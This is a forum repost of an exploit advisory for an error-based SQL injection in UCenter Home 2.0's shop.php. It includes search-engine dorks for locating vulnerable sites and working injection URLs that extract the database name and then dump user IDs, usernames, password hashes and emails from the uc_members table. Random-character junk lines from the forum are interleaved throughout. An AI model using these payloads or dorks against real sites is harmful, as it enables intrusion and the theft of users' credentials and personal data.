中国网络渗透测试联盟

标题: UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability [打印本页]
作者: admin    时间: 2013-2-27 21:31
标题: UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability
% o- V, e1 e$ ~% v& r% h$ R; B
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__  
& A9 t. q/ x- o  u
1 P( p$ q( J+ c1 I$ ]7 c/ o                                 
* K  }8 B5 d7 |& P0 H* x# u7 Z+ U, n% E
*/ Author : KnocKout  
8 B. M' {2 ?, I7 S7 E) ?4 G
) j$ E$ i, D7 q  i*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers  
5 g+ Y6 K) \1 I. N- l7 p, f& t
) v5 i% j# B6 K- ?*/ Contact: knockoutr@msn.com  
8 x0 o* c" K- S. F4 X6 T3 l; c
9 C& h$ E* G0 k*/ Cyber-Warrior.org/CWKnocKout  
( o5 n: a5 h% N* x; I/ e( Z7 L( a4 m, P' W+ }3 v' q0 N
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  * V5 E; m6 N2 z: \& p
! @+ {; j0 O- B9 h. b2 U: P7 U
Script : UCenter Home  , f! @9 |% }5 _7 J4 l
/ q3 R" N& u. m* Y
Version : 2.0  
6 J8 c% ]) h4 _6 B5 V, l+ r# V9 U5 U, c' J! f+ w9 d
Script HomePage : http://u.discuz.net/  
. {5 `( ~7 f$ u) \6 B7 [7 N$ c2 j: a) c8 S( ]3 f) k) e
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
2 n9 H1 \! l+ G
  ^9 L; l4 g' y3 H1 g' O7 hDork : Powered by UCenter inurl:shop.php?ac=view  
: C5 f6 m2 r& a! R4 l, a' z# ~# n+ c+ a0 H" h
Dork 2 : inurl:shop.php?ac=view&shopid=    ?% a  c! h" t, j" T: o2 a
# F& r" k) j) i; q
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  " x& }" S5 K, j7 @$ Y# d, A  H

% ?- V9 o: K/ RVuln file : Shop.php  
  A, S% V& F; s) I1 H5 G/ P% C% t8 @1 ~4 f& t
value's : (?)ac=view&shopid=  
" K& B, S0 U) V
( V, e8 a5 @) ]+ t( h2 s8 KVulnerable Style : SQL Injection (MySQL Error Based)  
% A; z2 A& O2 A! Y6 e
6 S, l5 J' ]) X: R5 bNeed Metarials : Hex Conversion  
  D) I- ~& E( k$ u1 |" h+ I* D/ d! G8 m/ U7 q$ s4 A* ]$ i# t( v
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  ! m( a" N6 B  Y* b
5 W$ ]- m6 ^: W  v
Your Need victim Database name.   4 n! J+ E& s$ u; `5 G1 B
" |+ Z& M& l6 m, T9 N; p3 U
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  4 {6 _! v( q% D. U( r
  k6 f' }0 `3 h$ u
..  
3 F' M/ g& W1 b; Z: A- _% a$ h5 n& [. e) t- K
DB : Okey.  . G  [( ~+ ^7 \
- W0 N" d; d. V3 C% r9 ~' W$ C0 S
your edit DB `[TARGET DB NAME]`  
; u& {6 O1 E  z, l/ w9 m! ?
! C+ X. s6 t! W! B' \6 vExample : 'hiwir1_ucenter'  
- x( \, v: ~, b+ \
/ B8 x' _9 M2 F: l% t0 @Edit : Okey.  + Q* [5 [3 `4 S! S- ^! F' z
2 `' @. Y8 R! Z% q5 G( Y! k
Your use Hex conversion. And edit Your SQL Injection Exploit..  
* d: A% F* z9 H& n3 E1 `: D
/ {  C9 P# \. x# E1 d/ }! l   
. L; g3 z# l) Y3 R: M* I% F0 s; b" n7 K/ z" Z1 s; u, c
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  
; d; K" V1 P: H* S1 O: ?6 h



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2